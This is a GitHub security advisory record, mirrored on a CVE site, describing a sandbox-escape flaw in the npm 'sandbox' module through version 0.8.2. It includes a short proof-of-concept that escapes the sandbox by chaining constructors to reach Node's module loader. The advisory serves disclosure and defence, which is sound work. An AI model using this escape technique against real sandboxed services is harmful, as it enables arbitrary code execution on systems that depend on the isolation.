# GHSA-fm4j-4xhm-xpwx: Sandbox Breakout / Arbitrary Code Execution in sandbox

- Severity: Medium (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-02T15:51:34.000Z
- Modified: 2026-02-03T17:47:49.048Z

## Description

All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

## Proof of concept
```
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
```


## Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

(As written by GitHub Advisory Database.)

## Affected

- sandbox (npm): from 0.0.0

## References

- <https://github.com/gf3/sandbox/issues/50> (web)
- <https://www.npmjs.com/advisories/766> (web)

## Sources

- GitHub Advisory Database: [GHSA-fm4j-4xhm-xpwx](https://github.com/advisories/GHSA-fm4j-4xhm-xpwx), CC-BY-4.0, modified 2026-02-03

---

Page: https://cve.day/GHSA-fm4j-4xhm-xpwx · Whole record: https://cve.day/GHSA-fm4j-4xhm-xpwx.json · Rebuilt by cve.day 2026-11-25T22:56:45.278Z
